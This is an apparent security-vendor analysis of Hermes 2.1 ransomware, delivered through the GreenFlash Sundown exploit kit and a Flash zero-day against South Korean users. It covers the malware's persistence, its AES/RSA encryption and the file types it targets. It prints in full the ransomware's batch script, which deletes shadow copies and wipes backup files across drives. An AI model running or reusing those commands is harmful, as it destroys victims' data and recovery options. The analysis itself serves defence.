This blog post was authored by @hasherezade, Jérôme Segura and Vasilios Hioureas.
At the end of January, the South Korean Emergency Response Team (KrCERT) published news of a Flash Player zero-day used in targeted attacks. The flaw, which exists in Flash Player 18.104.22.168 and below, was distributed via malicious Office documents containing the embedded Flash exploit. Only a couple of weeks after the public announcement, spam campaigns were already beginning to pump out malicious Word documents containing the newly available exploit.
While spam has been an active distribution channel for some time now, the news of a Flash exploit would most certainly interest exploit kit authors as well. Indeed, in our previous blog post about this vulnerability (CVE-2018-4878), we showed how trivial it was to use an already available Proof-of-Concept and package it as as a drive-by download instead.
On March 9th, MDNC discovered that a less common, but more sophisticated exploit kit called GreenFlash Sundown had started to use this recent Flash zero-day to distribute the Hermes ransomware. This payload was formerly used as part of an attack on a Taiwanese bank and suspected to be the work of a North Korean hacking group. According to some reports, it may be a decoy attack and “pseudo-ransomware“.
By checking on the indicators published by MDNC, we were able to identify this campaign within our telemetry and noticed that all exploit attempts were made against South Korean users. Based on our records, the first hit happened on February 27, 2018, (01:54 UTC) via a compromised Korean website.
We had already pinpointed where the redirection was happening by checking the DOM on the live page, but we also confirmed it by decoding the large malicious blurb that went through Base64 and RC4 encoding (we would like to thank David Ledbetter for that).
The payload from this attack is Hermes ransomware, version 2.1.
The ransomware copies itself into
%TEMP% under the name
svchosta.exe and redeploys itself from that location. The initial sample is then deleted.
The ransomware is not particularly stealthy—some windows pop up during its run. For example, we are asked to run a batch script with administrator privileges:
The authors didn’t bother to deploy any UAC bypass technique, relying only on social engineering for this. The pop-up is deployed in a loop, and by this way it tries to force the user into accepting it. But even if we don’t let the batch script be deployed, the main executable proceeds with encryption.
The batch script is responsible for removing the shadow copies and other possible backups:
It is dropped inside C:\Users\Public along with some other files:
The file “PUBLIC” contains a blob with RSA public key. It is worth noting that this key is unique on each run, so, the RSA key pair is generated per victim. Example:
Another file is an encrypted block of data named UNIQUE_ID_DO_NOT_REMOVE. It is a blob containing an encrypted private RSA key, unique for the victim:
Analyzing the blob header, we find the following information:
The rest of the data is encrypted—at this moment, we can guess that it is encrypted by the RSA public key of the attackers.
The same folder also contains a ransom note. When the encryption finished, the ransom note pops up. The note is in HTML format, named DECRYPT_INFORMATION.html.
The interesting fact is that, depending on the campaign, in some of the samples the authors used BitMessage to communicate with victims:
This method was used in the past by a few other authors, for example in Chimera ransomware, and by the author of original Petya in his affiliate programs.
Encrypted files don’t have their names changed. Each file is encrypted with a new key—the same plaintext produces various ciphertext. The entropy of the encrypted file is high, and no patterns are visible. That suggests that some stream cipher or a cipher with chained blocks was used. (The most commonly used in such cases is AES in CBC mode, but we can be sure only after analyzing the code). Below, you can see a visualization of a BMP file before and after being encrypted by Hermes:
Inside each file, after the encrypted content, there is a “HERMES” marker, followed by another blob:
This time the blob contains an exported session key (0x01 : SIMPLEBLOB) and the algorithm identifier is AES (0x6611: CALG_AES). We can make an educated guess that it is the AES key for the file, encrypted by the victim’s RSA key (from the generated pair).
The ransomware achieves persistence by dropping a batch script in the Startup folder:
The script is simple; its role is just to deploy the dropped ransomware: svchosta.exe.
So, on each system startup it will make a check for new, unencrypted files and try to encrypt them. That’s why, as soon as one discovers that they have been attacked by this ransomware, they should remove the persistence entry in order to not let the attack repeat itself.
Inside the ransomware
At the beginning of the execution, the ransomware creates a mutex named “tech”:
The sample is mildly obfuscated, for example, its imports are loaded at runtime. The .data section of the PE file is also decrypted during the execution, so, at first we will not see the typical strings.
First, the executable begins to dynamically load all its imports via a function at 4023e0:
It then checks the registry key for a language code. If Russian, Belarusian, or Ukrainian are found as the system language, it exits the process (0x419 being Russian, 422 Ukrainian, and 423 Belarusian).
It then creates two subprocesses – cmd.exe. One that copies itself into directory appdata/local/temp/svchost.exe, and another that executes the copied file.
It also generates crypto keys using standard CryoptAquireCOntext libraries, and saves the public key and some kind of ID into the following files:
As mentioned earlier, it writes out a script to auto run on startup with contents: start “” %TEMP%\svchosta.exe into the Start menu startup folder. This is quite simple and conspicuous. Since it is always running and keeps persistence, it makes sense that it saved out the public key into a file so that it can later find that key and continue encrypting using a consistent key throughout all executions.
Below is the function that calls all of this functionality sequentially, labeled:
It proceeds to cycle all available drives. If it is CDRom, it will skip it. Inside the function, it goes through all files and folders on the drive, but skips a few key directories, not limited to Windows, Mozilla, and the recycling bin.
Inside of the function labeled recursiveSearch_Encrypt are the checks for key folders and drive type:
It then continues on to enumerate netResources and encrypts those files as well. After encryption, it creates another bat file called window.bat to delete shadow volume and backup files. Here is its content:
vssadmin Delete Shadows /all /quiet vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded vssadmin Delete Shadows /all /quiet del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk del %0
It then creates and executes another bat file called svchostaaexe.bat that cycles through the entire file system again to search for and delete all backup files. This is interesting, as we have rarely seen ransomware looking in so much detail for backup files.
There is no functionality that communicates a decryption key to a C2 server. This means that the file UNIQUE_ID_DO_NOT_REMOVE, which contains the unique ID you have to send to the email address, must be encrypted by a public key pair that the attackers have pre-generated and retained on their side.
We have found that there is a heavy code reuse from the old versions of Hermes with this one. The flow of the code looks to be a bit different, but the overall functionality is the same. This is quite clear when comparing the two versions in a disassembler.
Below are two screenshots: the first from the current version we are analyzing, and the second from the old version. You can clearly see that even though the flow and arrangement are a bit different, the functionality remains mostly the same.
The new version:
And the old version 237eee069c1df7b69cee2cc63dee24e6:
The ransomware attacks the following extensions:
tif php 1cd 7z cd 1cd dbf ai arw txt doc docm docx zip rar xlsx xls xlsb xlsm jpg jpe jpeg bmp db eql sql adp mdf frm mdb odb odm odp ods dbc frx db2 dbs pds pdt pdf dt cf cfu mxl epf kdbx erf vrp grs geo st pff mft efd 3dm 3ds rib ma max lwo lws m3d mb obj x x3d c4d fbx dgn dwg 4db 4dl 4mp abs adn a3d aft ahd alf ask awdb azz bdb bib bnd bok btr bak cdb ckp clkw cma crd dad daf db3 dbk dbt dbv dbx dcb dct dcx ddl df1 dmo dnc dp1 dqy dsk dsn dta dtsx dxl eco ecx edb emd fcd fic fid fil fm5 fol fp3 fp4 fp5 fp7 fpt fzb fzv gdb gwi hdb his ib idc ihx itdb itw jtx kdb lgc maq mdn mdt mrg mud mwb s3m myd ndf ns2 ns3 ns4 nsf nv2 nyf oce oqy ora orx owc owg oyx p96 p97 pan pdb pdm phm pnz pth pwa qpx qry qvd rctd rdb rpd rsd sbf sdb sdf spq sqb stp str tcx tdt te tmd trm udb usr v12 vdb vpd wdb wmdb xdb xld xlgc zdb zdc cdr cdr3 ppt pptx abw act aim ans apt asc ase aty awp awt aww bad bbs bdp bdr bean bna boc btd cnm crwl cyi dca dgs diz dne docz dot dotm dotx dsv dvi dx eio eit emlx epp err etf etx euc faq fb2 fbl fcf fdf fdr fds fdt fdx fdxt fes fft flr fodt gtp frt fwdn fxc gdoc gio gpn gsd gthr gv hbk hht hs htc hwp hz idx iil ipf jis joe jp1 jrtf kes klg knt kon kwd lbt lis lit lnt lp2 lrc lst ltr ltx lue luf lwp lyt lyx man map mbox me mell min mnt msg mwp nfo njx now nzb ocr odo odt ofl oft ort ott p7s pfs pfx pjt prt psw pu pvj pvm pwi pwr qdl rad rft ris rng rpt rst rt rtd rtf rtx run rzk rzn saf sam scc scm sct scw sdm sdoc sdw sgm sig sla sls smf sms ssa stw sty sub sxg sxw tab tdf tex text thp tlb tm tmv tmx tpc tvj u3d u3i unx uof uot upd utf8 utxt vct vnt vw wbk wcf wgz wn wp wp4 wp5 wp6 wp7 wpa wpd wpl wps wpt wpw wri wsc wsd wsh wtx xdl xlf xps xwp xy3 xyp xyw ybk yml zabw zw abm afx agif agp aic albm apd apm apng aps apx art asw bay bm2 bmx brk brn brt bss bti c4 cal cals can cd5 cdc cdg cimg cin cit colz cpc cpd cpg cps cpx cr2 ct dc2 dcr dds dgt dib djv djvu dm3 dmi vue dpx wire drz dt2 dtw dvl ecw eip exr fal fax fpos fpx g3 gcdp gfb gfie ggr gif gih gim spr scad gpd gro grob hdp hdr hpi i3d icn icon icpr iiq info ipx itc2 iwi j j2c j2k jas jb2 jbig jbmp jbr jfif jia jng jp2 jpg2 jps jpx jtf jwl jxr kdc kdi kdk kic kpg lbm ljp mac mbm mef mnr mos mpf mpo mrxs myl ncr nct nlm nrw oc3 oc4 oc5 oci omf oplc af2 af3 asy cdmm cdmt cdmz cdt cgm cmx cnv csy cv5 cvg cvi cvs cvx cwt cxf dcs ded dhs dpp drw dxb dxf egc emf ep eps epsf fh10 fh11 fh3 fh4 fh5 fh6 fh7 fh8 fif fig fmv ft10 ft11 ft7 ft8 ft9 ftn fxg gem glox hpg hpgl hpl idea igt igx imd ink lmk mgcb mgmf mgmt mt9 mgmx mgtx mmat mat otg ovp ovr pcs pfv pl plt vrml pobj psid rdl scv sk1 sk2 ssk stn svf svgz sxd tlc tne ufr vbr vec vml vsd vsdm vsdx vstm stm vstx wpg vsm xar yal orf ota oti ozb ozj ozt pal pano pap pbm pc1 pc2 pc3 pcd pdd pe4 pef pfi pgf pgm pi1 pi2 pi3 pic pict pix pjpg pm pmg pni pnm pntg pop pp4 pp5 ppm prw psdx pse psp ptg ptx pvr px pxr pz3 pza pzp pzs z3d qmg ras rcu rgb rgf ric riff rix rle rli rpf rri rs rsb rsr rw2 rwl s2mv sci sep sfc sfw skm sld sob spa spe sph spj spp sr2 srw ste sumo sva save ssfn t2b tb0 tbn tfc tg4 thm tjp tm2 tn tpi ufo uga vda vff vpe vst wb1 wbc wbd wbm wbmp wbz wdp webp wpb wpe wvl x3f y ysp zif cdr4 cdr6 cdrw ddoc css pptm raw cpt pcx pdn png psd tga tiff tif xpm ps sai wmf ani flc fb3 fli mng smil svg mobi swf html csv xhtm dat
Hermes, like many other ransomware, uses AES along with RSA for the encryption. AES is used to encrypt files with a random key. RSA is used to protect the random AES key.
The ransomware uses two RSA key pairs, one being a RSA hardcoded public key for the attackers.
Then, there is a keypair for the victim. It is generated at the beginning of the attack. The private key from this key pair is encrypted by the attackers’ public key and stored in the file UNIQUE_ID_DO_NOT_REMOVE.
When the victim sends this file, the attackers can recover the victim’s private key with the help of their own private key. The victim’s public key is stored in PUBLIC in clear text. It is later used to encrypt random AES keys, generated per file.
Cryptography is implemented with the help of Windows Crypto API. Function calls are mildly obfuscated, and pointers to the functions are manually loaded.
Each file processing starts from checking if it was already encrypted. The ransomware uses the saved marker “HERMES” that we already saw during the behavioral analysis. The marker is stored at the end of the file, before the block where the AES key is saved. Its offset is 274 bytes from the end. So, first the file pointer is set at this position to make a check of the characters.
If the marker was found, the file is skipped. Otherwise, it is processed further. As we noticed during the behavioral analysis, each file is encrypted with a new key. Looking at the code, we can find the responsible function. Unfortunately for the victims, the authors used the secure function CryptGenKey:
The used identifier for the algorithm is 0x6610 (CALG_AES_256). That means 256-bit is using AES encryption. This key is used to encrypt the content of the file. The file is read and encrypted in chunks, with 1,000,000 bytes each.
At the end, the marker “HERMES” is written and the exported AES key is saved:
The handle to the attacker’s RSA public key is passed, so the function CryptExportKey automatically takes care of protecting the AES key. Only the owner of the RSA private key will be able to import it back.
Malwarebytes users are protected against this Flash Player exploit. In addition, the ransomware payload was blocked at zero-hour strictly based on its malicious behaviour.
Another campaign that we know of targeting South Koreans specifically is carried by malvertising and uses the Magnitude exploit kit, which also delivers ransomware—namely Magniber. That particular infection chain goes to great lengths to only infect this particular demographic, via geo-aware traffic redirection and language checks within the malware code itself.
After analyzing Hermes, we found it to be a fully functional ransomware. However, we cannot be sure what the real motivations of the distributors were. Looking at the full context, we may suspect that it was politically motivated rather than a profit-driven attack.
Although the infection vector appeared to narrow down to South Korea, the malware itself, unlike Magniber, does not specifically target these users. The fact that the ransomware excludes certain countries like Russia or Ukraine could tie the development and outsourcing of the malware to these areas or be a false flag. As we know, attribution is always a complex topic.
Indicators of compromise
Domains involved in campaign:
- 2018-02-27 (01:54 UTC)
Hermes 2.1 ransomware: